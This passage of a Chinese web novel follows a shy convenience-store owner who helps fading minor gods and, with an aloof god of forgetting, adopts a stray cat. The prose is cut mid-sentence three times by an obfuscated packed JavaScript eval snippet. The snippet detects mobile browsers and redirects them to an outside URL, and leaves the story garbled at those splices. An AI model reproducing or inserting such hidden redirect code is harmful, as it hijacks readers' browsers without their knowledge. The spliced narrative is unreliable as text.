“《守则》上还说，要善待顾客。”男人合上书，指尖在封面上轻轻敲击，“你打算怎么善待他？对着他打一个嗝吗？凡人的嗝，对他而言是毒药。而他的嗝，却是凡人想要压抑的东西。真是个死循环。” 男人的话语像冰锥一样刺进林洅栖的心里。是啊，他要怎么做？他要怎么给一个“打嗝神”寻找信仰？难道要满大街去劝人打嗝吗？这太荒谬了！ “嗝……” 小男孩的身体又淡了一分，几乎快要看不见了。 林洅栖急得满头大汗。他不能眼睁睁看着一个神明在自己面前消失。这种感觉，就像眼睁睁看着一个生命在自己面前流逝，无论对方是什么，他都做不到坐视不理。 他强迫自己冷静下来，努力思考。 打嗝……打嗝…… 打嗝的原理是什么？是膈肌痉挛，是不由自主的生理反应。现代人为什么强忍打嗝？因为觉得不雅观，觉得失礼，觉得在公共场合会引人侧目。 他们把一种正常的生理现象，当成了一种需要被压抑、被隐藏的缺陷。 就像……就像他自己一样。他把自己的社恐、自己的不安、自己的紧张，全都压抑在心底，用一层冷漠和疏离包裹起来，假装自己不需要任何人。 压抑……对，就是压抑！ 如果打嗝神是因为“被压抑”而衰弱，那么，他的“信仰载体”，就应该是“释放”！ 一个念头，如闪电般划过林洅栖的脑海。 他猛地冲到收银台，抓起笔和纸，再次写下一行字。这一次，他的动作不再犹豫，带着一种破釜沉舟的决绝。 他写完后，将纸贴在收银台最显眼的位置。 【今日特价：释放卡。免费领取。当你感到压抑、烦躁、想打嗝、想叹气时，请撕掉它，然后尽情地打一个嗝，或叹一口气。本店为你保密。】 写完之后，他还不满意，又跑到门口，将那块“慢递服务”的小黑板翻到了背面，用更大的字体写上： 【进来打个嗝吧！免费！】 做完这一切，林洅栖感觉自己浑身的力气都被抽干了。他靠在收银台上，大口喘着气，不知道自己这样做，究竟是天才之举，还是愚蠢之极。 “用凡人的羞耻心，去换取神明的存在。”角落里的男人再次开口，语气里听不出是赞许还是嘲讽，“店长，你的想法总是……那么出人意料。” 林洅栖没有理他，只是紧张地盯着门口。 时间一分一秒地过去。 便利店的门偶尔被推开，但进来的顾客，无一例外，都被门口那块“进来打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883446|192008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个嗝吧”的牌子给吓到了。他们用一种看神经病的眼神看了一眼林洅栖，然后像躲避瘟疫一样，匆匆离开。 林洅栖的心一点点沉下去。 果然……还是太异想天开了。 他颓然地坐倒在椅子上，看着冰柜角落里那个几乎快要完全消失的小男孩，心中充满了无力感。 “对不起……我帮不了你……”他低声说。 “放弃吧。”角落里的男人声音平淡，“不是每一个神，都值得被拯救。尤其是……被一个连自己都拯救不了的凡人。” 这句话像一根针，狠狠地刺痛了林洅栖。他猛地抬起头，看向那个男人，眼中第一次燃起了怒火。 “那你呢？”他几乎是吼出来的，“你坐在这里，什么都不做，就只会说风凉话吗？你也是神，你就眼睁睁看着你的同类消失吗？” 男人愣了一下，似乎没想到这个一直唯唯诺诺的社恐青年会突然反驳。他看着林洅栖那双因为愤怒而泛红的眼睛，沉默了片刻。 “我不是来拯救他们的。”他缓缓开口，声音里带着一丝悠远的、难以言喻的疲惫，“我只是……一个见证者。” 就在这时，便利店的门，再一次被推开了。 进来的是一个穿着外卖制服的中年男人。他满头大汗，神情疲惫，手里还提着一份外卖。他似乎是走错了，看到店里的布置，愣了一下。 “抱歉，我……” 他的话还没说完，目光就被门口那块小黑板吸引了。 “进来打个嗝吧！” 男人念出了声，然后愣住了。他看了看黑板，又看了看林洅栖，脸上露出一种哭笑不得的表情。 “小伙子，你这是……行为艺术？” 林洅栖的脸“腾”地一下就红了，他张了张嘴，却一个字也说不出来。 “别紧张，我就是开个玩笑。”男人摆了摆手，叹了口气，“唉，今天真是倒霉。送餐超时被客户骂，刚才骑车又差点跟人撞了，一肚子火，还没地方发。想打个嗝都打不出来，憋得难受……” 他说着，下意识地看了一眼收银台上的那张“释放卡”。 他犹豫了一下，似乎是抱着一种“反正也没人认识我”的心态，真的伸手过去，撕下了一张卡片。 “嘿，这玩意儿还真管用？”他自嘲地笑了笑，然后站在原地，深吸一口气，像是下定了某种决心。 “嗝——啊——！” 一个惊天动地的、酣畅淋漓的嗝，伴随着一声长长的叹息，从他胸腔里爆发了出来。那声音充满了释放的快感，仿佛把一整天的疲惫和委屈都吐了出去。 打完之后，男人愣了一下，随即脸上露出了前所未有的轻松表情。 “你别说，还真他娘的爽！”他咧嘴一笑，对林洅栖竖了个大拇指，“小伙子，你这店，有点意思！” 说完，他心情愉快地转身离开了。 而在男人打出那个嗝的瞬间，林洅栖清清楚楚地看到，冰柜角落里，那个几乎快要消失的小男孩，身体猛地一凝。 一缕微弱的、带着暖意的金色光芒，从男人身上溢出，像一条细线，精准地注入了小男孩的体内。 小男孩那灰蒙蒙的身体，以肉眼可见的速度，凝实了一丝。他那空洞的眼神里，也似乎多了一点微弱的光彩。 他不再蜷缩着，而是慢慢地、试探性地，站了起来。 林洅栖的眼睛，瞬间睁大了。 有用！真的有用！ 他激动得差点跳起来。他不是在做梦！他真的……真的帮助了一个神明！ “看，你做到了。”角落里的男人再次开口，声音里似乎多了一丝不易察觉的波动。 “我……我只是……”林洅栖激动得语无伦次。 “你给了他们一个理由，一个可以不顾及他人眼光，尽情释放自己的理由。”男人淡淡地说，“这就是新的‘信仰’。用凡人的释放，来填补神明的空虚。很公平，不是吗？” 林洅栖似懂非懂地点了点头。 他看向那个已经能勉强维持人形的小男孩。小男孩也正看着他，虽然依旧没有表情，但林洅栖能感觉到，他不再那么悲伤了。 “谢谢你……”一个细若蚊蚋的声音，直接在林洅栖的脑海里响起。 林洅栖的心，被这句轻飘飘的感谢，狠狠地撞了一下。 所有的恐惧、不安、迷茫，在这一刻，都烟消云散。取而代之的，是一种前所未有的、沉甸甸的满足感。 他不再是那个一无是处的、被世界抛弃的林洅栖。 他是“有间便利店”的店长。 是一个……能帮助神明的店长。 他深吸一口气，挺直了腰板，第一次，主动迎向了那个黑衣男人的目光。 “我明白了。”他说，声音不大，却异常坚定。 男人看着他，那双沉寂如古井的眼眸中，终于泛起了一丝真正的、可以被称之为“笑意”的波澜。 “那么，店长，”他缓缓合上书，“准备好迎接你的下一位顾客了吗？” 林洅栖顺着他的目光看去，只见便利店的门，正被一阵无形的风，缓缓地推开。 门外，阳光依旧灿烂，但林洅栖知道，一个全新的、属于他的世界，才刚刚拉开序幕。 4. 神仙也要打零工4 自从那天帮“打嗝神”找到了新的信仰载体后，林洅栖的生活陷入了一种诡异的平静。 便利店的生意依旧惨淡，偶尔有几个误入的顾客，也被门口那块“进来打个嗝吧”的牌子吓得落荒而逃。 但林洅栖已经不在意了。他每天最重要的工作，不再是整理货架或等待人类顾客，而是观察那些看不见的“神明”。 那个小小的“打嗝神”没有再出现，但林洅栖能感觉到，他就在这个店里。 有时，一排薯片会突然轻微地晃动一下；有时，一瓶可乐会自己冒出一个小小的气泡。这些微不足道的异象，都像是在向他报平安。 而那个自称“见证者”的黑衣男人，也成了便利店的固定风景。 他似乎没有固定的时间，总是在林洅栖不经意间，就出现在了那个角落的座位上。 他总是穿着那件黑色的高领毛衣，捧着那本没有封面的厚书，一坐就是一下午。他就像一个与世隔绝的孤岛，周身散发着生人勿近的冰冷气息，将便利店的喧嚣与杂乱都隔绝在外。 林洅栖从《神明员工守则》的夹层里，找到了一张泛黄的员工登记表。上面只有一个名字，用钢笔写得龙飞凤舞，力透纸背。 ——沈砚之。 所以，那个男人叫沈砚之。 林洅栖在心里默念着这个名字，觉得它和他的人一样，带着一种清冷而坚硬的质感，末尾那个“之”字，又平添了几分古雅的韵味。 自从知道他的名字后，林洅栖的内心就变得更加矛盾。 他既害怕这个神秘莫测的古神，又忍不住被他身上那种遗世独立的气质所吸引。他像一个偷窥者，总是借着整理货架、擦拭玻璃的机会，用眼角的余光偷偷地观察他。 沈砚之看书的姿态很专注，他不会翻页，只是静静地凝视着同一页，仿佛那上面有无穷无尽的奥秘。他的手指修长而骨节分明，偶尔会抬起手，用指腹轻轻摩挲着书页的边缘，动作轻柔得像是在抚摸一件稀世珍宝。 林洅栖发现，沈砚之从不主动与人交流，也从不理会店里的任何事。无论是“打嗝神”的微弱存在，还是偶尔闯入的人类顾客，都无法让他分心。他就像一个真正的“见证者”，冷漠地注视着一切，却不参与一切。 这种极致的疏离感，让林洅栖既敬畏又好奇。他究竟是怎样的神？他掌管着“遗忘”，那他自己，又遗忘了什么？ 这天下午，天空阴沉得厉害，乌云像打翻的墨汁，迅速染黑了整片天空。空气变得闷热而潮湿，预示着一场大雨即将来临。 林洅栖正忙着把门口摆放的几盆绿植搬进店里，以免被大雨淋坏。 他小心翼翼地捧着一盆小小的多肉，经过沈砚之的座位时，脚步不由自主地放轻了。 沈砚之今天似乎格外安静，他没有看书，只是侧着头，望着窗外灰蒙蒙的天空。 他的侧脸在昏暗的光线下显得更加苍白，那双漆黑的眼眸里，映着窗外翻滚的乌云，像两潭深不见底的寒潭，里面藏着林洅栖看不懂的、无尽的寂寥。 林洅栖的心莫名地一紧。他第一次在沈砚之的脸上，看到了一种近乎于“悲伤”的情绪。那不是嚎啕大哭的悲恸，而是一种更深沉的、被时间冲刷了无数遍的、沉淀在灵魂底色的哀伤。 他不敢多看，匆匆将绿盆放在角落，然后躲回了收银台后面，假装整理账目。但他的目光，却总是不受控制地飘向那个角落。 “轰隆——！” 一声惊雷炸响，豆大的雨点毫无预兆地砸了下来，瞬间在玻璃门上织成了一道密集的水帘。世界被雨声笼罩，变得模糊不清。 林洅栖舒了口气，幸好搬得及时。他擦了擦额头的汗，准备去关上那扇一直敞开着的、用来通风的后门。 就在他走到后门附近时，眼角的余光忽然瞥见，沈砚之动了。 他放下了手中的书，站起身，走到了窗边。他的目光没有落在雨中的街景，而是投向了窗台下那个被雨幕笼罩的角落。 林洅栖顺着他的目光望去，这才注意到，那里蜷缩着一只小小的橘猫。 那只猫看起来很瘦小，毛色因为淋雨而一绺一绺地贴在身上，显得狼狈不堪。它瑟瑟发抖地缩在墙角，试图躲避着雨水的侵袭，但无情的雨点还是不断地打在它身上，让它看起来可怜极了。 林洅栖的心一下子就软了。他从小就喜欢小动物，只是因为社恐，从不敢去宠物店，更不敢养。 他正犹豫着要不要拿把伞出去把它抱进来，却看到沈砚之已经拉开了便利店的玻璃门。 冰冷的雨水和风瞬间灌了进来，吹得林洅栖一个哆嗦。沈砚之却仿佛没有感觉到，他迈开长腿，走进了雨中。 他的动作依旧很轻，落地无声。黑色的衣摆在雨中划开一道沉寂的弧线，整个人像是融入了这片灰暗的天地间。 他走到那只小猫面前，缓缓蹲下身。 林洅栖看到，他伸出了手。那只修长的、总是捧着古书的手，此刻却带着一种林洅栖从未见过的温柔，轻轻地、试探性地，向那只瑟瑟发抖的小猫伸去。 小猫起初很警惕，冲他龇着牙，发出威胁的“哈气”声。 沈砚之没有动，只是静静地维持着那个姿势，任由冰冷的雨水打湿他的肩膀和头发。他的眼神很平静，没有丝毫的急躁，仿佛他不是在救一只猫，而是在等待一个老朋友的回应。 时间一分一秒地过去，雨声依旧哗啦作响。 或许是感受到了沈砚之身上没有恶意，又或许是实在抵挡不住风雨的寒冷，那只小猫终于停止了哈气，它犹豫地凑上前，用它的小脑袋，轻轻蹭了蹭沈砚之冰凉的指尖。 那一刻，林洅栖看到，沈砚之那双总是古井无波的眼眸里，似乎有什么东西，轻轻地融化了一下。 他小心翼翼地，将那只小猫捧了起来，用自己宽大的衣摆裹住它，然后转身走回了店里。 玻璃门被关上，将喧嚣的雨声隔绝在外。店里又恢复了那种近乎凝固的寂静。 沈砚之走到收银台前，将怀里的小猫轻轻地放在了台子上。小猫被暖空气一吹，打了个大大的喷嚏，然后好奇地打量着这个新环境。 林洅栖僵在原地，看着眼前这一幕，大脑一片空白。 他一直以为，沈砚之是冷漠的，是无情的，是那种视万物为刍狗的古神。可他刚刚，却为了一个微不足道的生命，毫不犹豫地走进了大雨里。 “有……有毛巾吗？”沈砚之开口了，声音因为沾染了寒气而显得有些沙哑。 “啊？有！有！”林洅栖如梦初醒，手忙脚乱地从货架底下翻出一包干净的毛巾，递了过去。 沈砚之接过毛巾，没有先擦自己身上的雨水，而是先小心翼翼地，将那只小猫裹了起来，一点一点地，为它擦拭着湿透的毛发。他的动作专注而轻柔，仿佛在对待一件稀世珍宝。 林洅栖站在一旁，看着这一幕，心脏像是被什么东西轻轻地撞了一下，酸酸的，软软的。 这个掌管“遗忘”的神，似乎……并没有遗忘所有的温柔。 “它……它好像饿了。”林洅栖鼓起勇气，小声说。 沈砚之抬起头，看了他一眼，然后点了点头。 林洅栖立刻跑到货架前，找了一小盒牛奶，倒进一个干净的碟子里，放在了小猫面前。 小猫闻到了奶香，立刻从毛巾里钻出来，凑到碟子边，小口小口地舔舐起来。 看着它狼吞虎咽的样子，林洅栖和沈砚之都没有说话，只是静静地站在一旁。空气中，只有小猫舔奶的声音和窗外哗啦的雨声。这一刻，气氛不再像往常那样冰冷和压抑，反而多了一种奇异的、温馨的和谐。 “你……经常这样做吗？”林洅栖忍不住问。 沈砚之摇了摇头。“只是今天，雨很大。” 他的回答很简单，却让林洅栖的心里泛起了更多的波澜。 雨很大，所以他出手了。那如果雨不大呢？那只小猫，是不是就要在寒冷中独自挣扎？ 林洅栖忽然意识到，沈砚之的“遗忘”，或许并不是一种主动的选择，而是一种被动的、身不由己的能力。 他掌管着世间万物的遗忘，所以他必须将自己从情感中抽离出来，才能保持公正和冷漠。但今天，这场大雨，这只小猫，似乎在他那层厚厚的冰壳上，敲开了一道小小的裂缝。 “它叫什么名字？”林洅栖又问。 “它没有名字。”沈砚之说，“被遗忘的东西，都没有名字。” 林洅栖的心又是一疼。被遗忘的东西，都没有名字……那沈砚之自己呢？他是否也早已被世人遗忘，连自己的名字都成了一种虚无的代号？ “那……我们给它起一个吧。”林洅栖脱口而出。 话说出口他就后悔了。他怎么敢和一位古神“我们”？ 沈砚之似乎也愣了一下，他看着林洅栖，那双漆黑的眼眸里，闪过一丝复杂的情绪。 “你想叫它什么？” 林洅栖看着那只小猫，它舔完牛奶，正用粉色的舌头舔着嘴巴，看起来满足又甜蜜。它的毛色是橘色的，像一块融化的奶糖。 “它……它舔牛奶的样子，很像在吃糖。”林洅栖绞尽脑汁地想着，“而且它的颜色也像……不如……就叫‘奶糖’吧？” “奶糖……”沈砚之低声念了一遍这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883447|192008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个名字，像是在品味其中的含义。这个名字带着甜意，与他自身清冷的气质格格不入，却又奇异地与这只小猫的温顺相得益彰。 他沉默了片刻，然后，极轻地点了点头。 “奶糖。”他再次念道，声音里似乎多了一丝自己都未曾察觉的柔和。 小猫似乎听懂了，它抬起头，冲着沈砚之“喵”了一声，声音软糯。 沈砚之伸出手，轻轻地挠了挠它的下巴。奶糖舒服地眯起了眼睛，发出了满足的呼噜声。 林洅栖看着这一幕，嘴角不自觉地微微上扬。他发现，自己好像……没有那么害怕沈砚之了。 雨渐渐小了，天色也暗了下来。林洅栖打开了店里的灯，暖黄色的灯光洒下来，给这家破旧的便利店增添了几分暖意。 沈砚之没有回到他的角落，而是坐在了收银台旁边的椅子上，继续看着奶糖舔毛。他的侧脸在灯光下显得柔和了许多，那种拒人于千里之外的冰冷气息，也消散了不少。 “你……你一直都是一个人吗？”林洅栖鬼使神差地问出了这个一直盘旋在他心里的问题。 沈砚之的动作顿了一下，他没有抬头，声音低沉而遥远：“很久了。” “很久……是多久？” “久到……我已经记不清了。”沈砚之说，“遗忘的时间，是没有刻度的。” 林洅栖的心沉了下去。他无法想象那种永恒的孤独。一个人，在无尽的时光里，看着身边的一切来了又走，看着自己被所有人遗忘，那该是怎样一种绝望？ “那你……会感到孤独吗？”林洅栖小心翼翼地问。 沈砚之终于抬起头，看向他。他的眼神很深，像一片没有星辰的夜空。 “孤独？”他似乎在咀嚼这个词，“当一种情绪成为你本身的一部分时，你就不会再感觉到它了。就像你不会感觉到自己正在呼吸一样。” 林洅栖的心被狠狠地揪了一下。 他一直以为自己的社恐很痛苦，但和沈砚之比起来，他那点痛苦，根本不值一提。沈砚之的孤独，已经融入了他的骨血，成为了他存在的本身。 “对不起……”林洅栖低声说。 “为什么道歉？”沈砚之问。 “因为……我让你想起了这些。”林洅栖说。 沈砚之看着他，沉默了许久。然后，他忽然说：“你和他们不一样。” “他们？” “其他的凡人。”沈砚之说，“他们害怕我，敬畏我，或者试图利用我。只有你……会问我，是否孤独。” 林洅栖愣住了。 “你也不一样。”他看着沈砚之，鼓起勇气说，“你看起来很冷漠，但你会为了奶糖走进雨里。你掌管着遗忘，但你记得每一个被遗忘的东西。” 沈砚之的眼眸中，那片沉寂的夜空，似乎被投入了一颗石子，泛起了层层涟漪。 他看着林洅栖，这个总是低着头、说话小声、眼神里总是带着一丝惊慌和不安的年轻人，此刻，却用一种清澈而坚定的目光回望着他。 那目光里，没有恐惧，没有敬畏，只有纯粹的、不含任何杂质的……关心。 “你叫什么名字？”沈砚之忽然问。 “林洅栖。森林的林，洄游的洅，栖息的栖。” “林洅栖……”沈砚之低声念了一遍，像是要把这个名字刻进心里。 窗外的雨已经停了，空气中弥漫着泥土和青草的清新气息。奶糖吃饱喝足，蜷缩在沈砚之的腿上，睡着了。 便利店里，灯光温暖，岁月静好。 林洅栖看着眼前这一幕，忽然觉得，自己继承这家便利店，或许并不是一场灾难，而是一场命中注定的相遇。 他遇见了迷路的神，遇见了打嗝的神，遇见了这只叫奶糖的猫，也遇见了……这个掌管遗忘，却渴望被铭记的古神。 他想，他或许无法为沈砚之做什么惊天动地的大事，但他可以，像现在这样，陪着他，听他说话，让他知道，在这个世界上，至少还有一个人，没有遗忘他。 “沈砚之。”林洅栖轻声开口。 “嗯？” “以后……奶糖就养在店里吧。我照顾它，你……你陪它玩。”林洅栖说。 沈砚之看着他，那双漆黑的眼眸中，终于漾开了一抹极淡、却真实存在的笑意。 “好。” 他只说了一个字，却比林洅栖听过的任何话语，都更让他感到安心。 这一夜，林洅栖睡得格外安稳。他知道，从明天起，这家“有间便利店”，将不再只有他一个活人了。 他有了新的伙伴，一个毛茸茸的，和一个……冷冰冰的。 5. 神仙也要打零工5 自从那只名叫“奶糖”的小橘猫在店里安顿下来后，“有间便利店”的空气似乎都变得不一样了。 那种凝滞如古井的寂静被打破了。奶糖像个小小的、毛茸茸的永动机，在货架间穿梭，追逐着阳光下的尘埃，或者试图扑打自己摇摆的尾巴。 它偶尔会跳上收银台，用小脑袋蹭林洅栖的手腕，提醒他该添猫粮了；更多的时候，它会蜷缩在沈砚之的脚边，或者干脆趴在他的腿上，满足地打着呼噜。 林洅栖发现，沈砚之虽然看起来依旧清冷，但他的存在感却变得具体而温暖。他会用修长的手指，耐心地为奶糖梳理被弄乱的毛发；会在奶糖试图爬上书架时，不动声色地将它拎下来；甚至有一次，林洅栖看到他拿着一根细绳，在奶糖面前轻轻晃动，引得小猫兴奋地扑腾了好久。 这些微小的、几乎不为人知的温柔，像一缕缕细密的阳光，悄悄地驱散了林洅栖心底对沈砚之的恐惧。他不再像以前那样，只敢用眼角的余光偷偷观察，有时甚至会鼓起勇气，主动和他说上几句话。 “沈砚之，奶糖好像又重了。” “嗯，是吃多了。” “沈砚之，今天的鱼干它好像不喜欢。” “嗯，它喜欢吃鸡肉的。” 他们的对话总是这样简短而平淡，像一杯温吞的白水。但对林洅栖来说，这已经是巨大的进步。 他甚至开始享受这种平淡，享受在寂静的午后，一人一猫一神，各据一方，互不打扰却又彼此相连的奇妙氛围。 这天，林洅栖在整理货架时，发现了一本被夹在几本旧杂志里的、空白的顾客留言簿。他忽然想到，店里来了这么多“神明”顾客，却没有任何记录。 万一哪天“迷路神”回来取他的路牌，或者“打嗝神”需要什么帮助，他连对方的名字都不知道。 他需要一个登记册。 他想起了那本《神明员工守则》，既然守则都那么玄乎，那么神明的登记册，肯定也不会放在普通的地方。 他的目光，落在了收银台后方那扇紧闭的、通往仓库的小门上。 仓库……这个词对林洅栖来说，就像是恐怖电影里的经典场景。他爷爷在世时，就严禁任何人靠近那里。他总觉得那扇门后，藏着什么不可告人的秘密。 但为了那本可能存在的“神明登记册”，林洅栖决定鼓起勇气，闯一闯这个“禁地”。 他深吸一口气，像是即将奔赴战场的士兵，小心翼翼地拧开了门把手。 “吱呀——”一声，门被推开。一股混杂着陈旧纸张、灰尘和淡淡檀香的气味扑面而来。 仓库里没有灯，光线昏暗，只有一扇高高的、布满灰尘的小窗，透进一缕微弱的天光。 林洅栖打开手机的手电筒，光柱在黑暗中扫过，照亮了堆积如山的杂物。 这里简直就是一个巨大的、被时间遗忘的垃圾场。 旧报纸堆得像小山，破旧的招牌靠在墙角，还有一些叫不出名字的、落满灰尘的古怪器物。空气里漂浮着无数细小的尘埃，在光柱中像一群飞舞的精灵。 林洅栖捂着鼻子，艰难地在这些杂物堆中穿行。他一边走，一边小声地念叨着：“登记册……登记册会在哪里呢……” 他找了一圈，一无所获。就在他准备放弃时，他的目光被墙角一个巨大的、看起来格外结实的木箱子吸引了。那个箱子和他当初发现《神明员工守则》的盒子有些相似，但体积大了十几倍，上面用朱砂画着一些复杂的、类似封印的符文。 “应该……就是这里了。”林洅栖心想。 他走到箱子前，试图推开它，却发现箱子重得惊人，纹丝不动。他绕到箱子后面，想看看有没有什么开关，却发现箱子上面还压着几个更小的、装满了杂物的纸箱。 “得先把这些搬开才行。”林洅栖叹了口气。 他选了最上面的一个看起来还算轻巧的纸箱，用力将它抱了下来。纸箱很沉，里面装满了各种生锈的铁器。他踉踉跄跄地抱了几步，就觉得手臂发酸，脚下一个不稳，纸箱从他手中滑落。 “啊！”林洅栖惊叫一声，下意识地闭上了眼睛，准备迎接被砸中的疼痛，然而预想中的疼痛并没有传来。 他只感觉到一阵微风拂过，夹杂着清冷的、如同冬日雪松般的气息。一个熟悉的、低沉的声音在他耳边响起： “小心。” 林洅栖猛地睁开眼，瞬间呆住了。 沈砚之不知何时已经站在了他的面前，距离近得他能看清对方漆黑眼眸中映出的、自己惊慌失措的脸。而那个即将砸到他头上的纸箱，正被沈砚之的一只手稳稳地托在半空中，仿佛没有丝毫重量。 但这还不是最让林洅栖震惊的。 他震惊的是，沈砚之的另一只手，正环在他的腰间。 隔着薄薄的T恤，他能清晰地感觉到对方手掌的温度，那是一种和他清冷气质截然不同的、带着灼意的温热。那手臂很有力，将他牢牢地圈在怀里，形成了一个绝对安全的、不容侵犯的领域。 时间仿佛在这一刻静止了。 仓库里，只有尘埃在光柱中缓缓飞舞。林洅栖能听到的，只有自己那如同擂鼓般的心跳声，一声又一声，震耳欲聋。 他的脸“轰”的一下就烧了起来，从脸颊一直蔓延到耳根，再到脖子。他整个人都僵住了，像一尊被点了穴的雕像，大脑一片空白，连呼吸都忘了。 他……他被沈砚之……抱住了？ 这个认知像一道惊雷，在他混乱的脑海中炸开。他能感觉到沈砚之的胸膛贴着他的后背，能感觉到对方平稳的呼吸拂过他的颈侧，能闻到那股让他心安又心乱的、清冷的檀香。 “你……你……”林洅栖的嘴唇哆嗦着，却一个完整的字都说不出来。 沈砚之似乎也意识到了两人此刻的姿势有多么暧昧。他托着纸箱的手臂微微一顿，那双总是古井无波的眼眸中，闪过一丝极快、几乎无法捕捉的慌乱，但他毕竟是沈砚之。 下一秒，他便恢复了平时的镇定。他若无其事地将手中的纸箱轻轻地放在了旁边的地上，然后……收回了环在林洅栖腰间的手。 那温热的触感消失了，林洅栖却感觉自己的腰间，还残留着灼人的温度。 “你在找什么？”沈砚之开口，声音依旧平淡，仿佛刚才那个亲密的拥抱从未发生过。 “我……我找……神明登记册……”林洅栖结结巴巴地回答，眼睛不敢看他，只能死死地盯着自己的鞋尖。 “在这里。” 沈砚之说着，走到那个巨大的木箱前，伸出手指，在箱盖上那复杂的符文上轻轻一点。 只见那符文发出一阵微弱的光芒，沉重的箱盖便自动向上弹开，露出了里面满满一箱的、用丝线捆扎得整整齐齐的古老册子。 他随手从最上面拿起一本，递给了林洅栖。 “给。” 林洅栖僵硬地伸出手，接过那本册子。册子的封皮是深褐色的皮革，上面用烫金字体写着四个大字——《神明登记册》。 他拿到册子了，任务完成了。他应该立刻转身离开这个让他心跳失控的仓库。 可是，他的脚却像灌了铅一样，动弹不得。 他的目光，不受控制地，从那本登记册上移开，落在了沈砚之的脸上。 然后，他看到了让他毕生难忘的一幕。 沈砚之正侧对着他，脸上依旧是那副清冷淡漠的表情，仿佛刚才的一切都与他无关。但是……他的耳尖，却悄悄地泛起了一抹可疑的、淡淡的红色。 那红色很浅，像清晨天边最淡的一抹霞光，却又无比清晰地，映在了林洅栖的眼里。 林洅栖的心脏，像是被一只无形的手狠狠地攥了一下，然后又猛地松开。 这个掌管“遗忘”的古神，这个总是波澜不惊、仿佛对一切都漠不关心的沈砚之……他……他居然会脸红？ 虽然只是耳尖，虽然红得很淡，但这足以颠覆林洅栖对他所有的认知。 原来，他不是真的没有情绪。他只是……不善于表达。或者说，他习惯了将所有的情绪都隐藏在那层冰冷的外壳之下。 林洅栖忽然觉得，眼前的沈砚之，不再是那个高高在上、遥不可及的古神，而是一个……会因为无意间的亲密接触而感到害羞的、有点可爱的普通人。 这个发现，让林洅栖的心里，涌起了一种难以言喻的、混杂着窃喜和悸动的情绪。 “还……还有事吗？”沈砚之似乎察觉到了他的注视，声音里带着一丝不易察觉的紧绷。 “没……没事了！”林洅栖像被踩了尾巴的猫，瞬间回过神来，抱着登记册，头也不回地冲出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883448|192008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仓库。 他一口气跑到收银台后面，背靠着冰凉的柜台，大口大口地喘着气。他的心脏还在疯狂地跳动，脸上也依旧滚烫。 他低头看了看怀里的登记册，又伸手摸了摸自己依旧发烫的腰间，脑海里一遍又一遍地回放着刚才的画面。 沈砚之环在他腰间的手臂，沈砚之近在咫尺的侧脸，还有……沈砚之那泛红的耳尖。 “完了……”林洅栖把脸埋进登记册里，发出一声绝望的呻吟。 他好像……对那个古神，产生了一些不该有的想法。 而此时，仓库里。 沈砚之站在原地，直到确认林洅栖已经走远，才缓缓地抬起手，摸了摸自己依旧发烫的耳尖。 他的脸上，浮现出一丝连自己都未曾察觉的、无奈而又苦涩的笑意。 他掌管着世间万物的遗忘，却唯独……忘不掉刚才怀里的那一点点温热，和那双清澈眼眸中，映出的、自己慌乱的倒影。 “遗忘……”他低声呢喃，“原来，是这么难的一件事。” 他走到仓库的小窗前，看着外面那片被雨水洗刷过的、明亮的天空。阳光透过窗户，在他身上投下一片斑驳的光影。 他想，或许，他在这家便利店驻留，并不仅仅是为了见证。 或许，他是在等待。 等待一个能让他铭记，也等待一个……能将他从永恒的遗忘中，唤醒的人,而那个人，似乎已经出现了。 林洅栖在收银台后面平复了许久，才终于让自己的心跳恢复正常的频率。他深吸一口气，翻开了那本厚重的《神明登记册》。 册子的纸张泛黄，带着一种特殊的、混合着墨香和岁月的味道。他翻开第一页，上面用一种极其漂亮的、瘦金体小楷，写着第一个神明的信息。 【姓名】：迷路 【神职】：指引方向 【信仰载体】：琉璃路牌（已交予店长） 【状态】：神格衰弱，濒临消散 【备注】：耐心等待，路会自己出现。 林洅栖看着那行备注，心里微微一动。这字迹……和沈砚之登记表上的字迹一模一样。看来，这些记录，都是沈砚之亲手写下的。 他继续往后翻。 【姓名】：打嗝 【神职】：释放压抑 【信仰载体】：释放卡（已激活） 【状态】：神格稳定，缓慢恢复中 【备注】：凡人的叹息，是神明的食粮。 林洅栖看着这行备注，忍不住笑了。沈砚之看起来那么不食人间烟火，写出来的备注，却总是带着一种一针见血的、冷幽默的感觉。 他一页一页地翻下去，看到了各种各样的、他闻所未闻的小神。 “痘神”、“忘带钥匙神”、“网络延迟神”、“找不到袜子神”……每一个神的名字都古怪又可爱，他们的神职也细碎到令人发指。而他们的状态，无一例外，都是“神格衰弱”或“濒临消散”。 林洅栖的心里，涌起一阵浓浓的同情。这些曾经被人们敬畏和供奉的神明，在现代社会里，却沦为了无人问津的、即将消失的可怜存在。 